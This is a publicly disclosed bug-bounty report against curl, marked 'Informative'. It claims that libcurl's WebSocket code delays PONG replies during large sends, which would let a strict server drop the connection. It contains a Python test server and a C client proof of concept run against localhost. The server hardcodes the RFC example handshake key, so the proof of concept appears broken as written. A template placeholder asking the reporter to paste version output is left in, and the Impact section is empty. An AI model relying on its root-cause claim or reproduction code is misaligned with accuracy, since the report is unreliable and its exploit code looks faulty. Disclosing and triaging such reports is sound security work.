HexBrain

curl · Report #3480039

WebSocket Logic Error: Control Frame (PING/PONG) Starvation causes Connection Drop (DoS) during large transfers

Informativestatus
mediumseverity
9upvotes
28 Dec 2025disclosed

How it was found

Summary: I have discovered a logic flaw in lib/ws.c regarding the handling of WebSocket Control Frames (PING/PONG). According to RFC 6455, Control Frames should be processed as soon as possible, even in the middle of fragmented data frames, to maintain connection state (Keep-Alive).

However, libcurl fails to prioritize PONG responses when it is actively sending a large stream of data via curl_ws_send. If payload_remain > 0, the PONG response is queued behind the user data. If the transfer takes longer than the server's Keep-Alive timeout, the server will drop the connection, resulting in a Denial of Service (DoS) for valid operations.

Affected version Reproduced on the latest curl master branch (and recent releases supporting WebSocket). (Please run curl -V in your terminal and paste the output here)

Steps To Reproduce:

To reproduce this, we need a "Strict" WebSocket Server that enforces a short Keep-Alive timeout, and a Client that saturates the sending queue.

  1. Setup the Malicious Server (strict_ws_server.py) This Python script simulates a server that sends a PING every 1 second and disconnects if no PONG is received within 3 seconds. import socket import struct import time import threading import select

OP_PING = 0x9 OP_PONG = 0xA

def create_frame(opcode, payload=b""): b1 = 0x80 | opcode b2 = len(payload) & 0x7F return struct.pack("!BB", b1, b2) + payload

def handle_client(conn): print("[+] Client connected. Handshaking...") try: req = conn.recv(4096) resp = ( b"HTTP/1.1 101 Switching Protocols\r\n" b"Upgrade: websocket\r\n" b"Connection: Upgrade\r\n" b"Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=\r\n" b"\r\n" ) conn.sendall(resp) print("[+] Handshake OK. Monitoring Heartbeat...")

    last_pong_time = time.time()
    running = True
    
    def pinger():
        nonlocal last_pong_time, running
        while running:
            try:
                time.sleep(1)
                conn.sendall(create_frame(OP_PING, b"alive?"))
                if time.time() - last_pong_time > 3:
                    print("\n[!!!] TIMEOUT: Client did not reply PONG in 3s!")
                    running = False
                    conn.close()
                    return
            except:
                running = False
                return

    t = threading.Thread(target=pinger)
    t.start()

    while running:
        ready = select.select([conn], [], [], 1)
        if ready[0]:
            data = conn.recv(1024)
            if not data: break
            opcode = data[0] & 0x0F
            if opcode == OP_PONG:
                last_pong_time = time.time()
except:
    pass

def start_server(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('0.0.0.0', 9090)) s.listen(1) print("[*] Strict Server on 9090...") while True: conn, addr = s.accept() handle_client(conn)

if name == "main": start_server()

  1. Setup the Client PoC (poc_ws_starve.c) Compile this with: gcc poc_ws_starve.c -o poc_ws_starve -lcurl This client sends a large amount of data while artificially slowing down slightly to simulate network latency/busy loop, forcing the PONG to be queued. #include <stdio.h> #include <string.h> #include <unistd.h> #include <curl/curl.h>

int main(void) { CURL *curl; CURLcode res;

curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl) {
    // Connect to local strict server
    curl_easy_setopt(curl, CURLOPT_URL, "ws://127.0.0.1:9090/");
    curl_easy_setopt(curl, CURLOPT_CONNECT_ONLY, 2L);
    
    res = curl_easy_perform(curl);
    if(res != CURLE_OK) return 1;

    size_t sent;
    char buffer[1024]; 
    memset(buffer, 'A', sizeof(buffer));
    
    const struct curl_ws_frame *meta;
    size_t rlen;
    char rbuf[256];

    // Send massive data stream
    for(int i=0; i<100000; i++) {
        // 1. Send Data (CURLWS_BINARY)
        res = curl_ws_send(curl, buffer, sizeof(buffer), &sent, 0, CURLWS_BINARY);
        if(res != CURLE_OK) break;

        // 2. Sleep briefly to allow Server to send PING
        usleep(10000); 

        // 3. Call recv to process incoming PING
        // EXPECTED: Curl should reply PONG immediately.
        // ACTUAL: Curl queues PONG behind the data stream because payload_remain > 0.
        curl_ws_recv(curl, rbuf, sizeof(rbuf), &rlen, &meta);
    }
}
curl_easy_cleanup(curl);
curl_global_cleanup();
return 0;

}

  1. Execution
  2. Run python3 strict_ws_server.py in Terminal 1.
  3. Run ./poc_ws_starve in Terminal 2.

Supporting Material/References:

  • RFC 6455 Section 5.5: "Control frames (see Section 5.5) MAY be injected in the middle of a fragmented message."

  • Root Cause: In lib/ws.c, function ws_enc_add_cntrl, the code checks if(!ws->enc.payload_remain). If data is being sent, it returns CURLE_OK effectively queuing the PONG without sending it, causing the starvation.

Observed Output (Server Terminal): [!!!] TIMEOUT: Client did not reply PONG in 3s!

The server disconnects the client despite the client being active, confirming the logic error.

Impact

Summary:

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original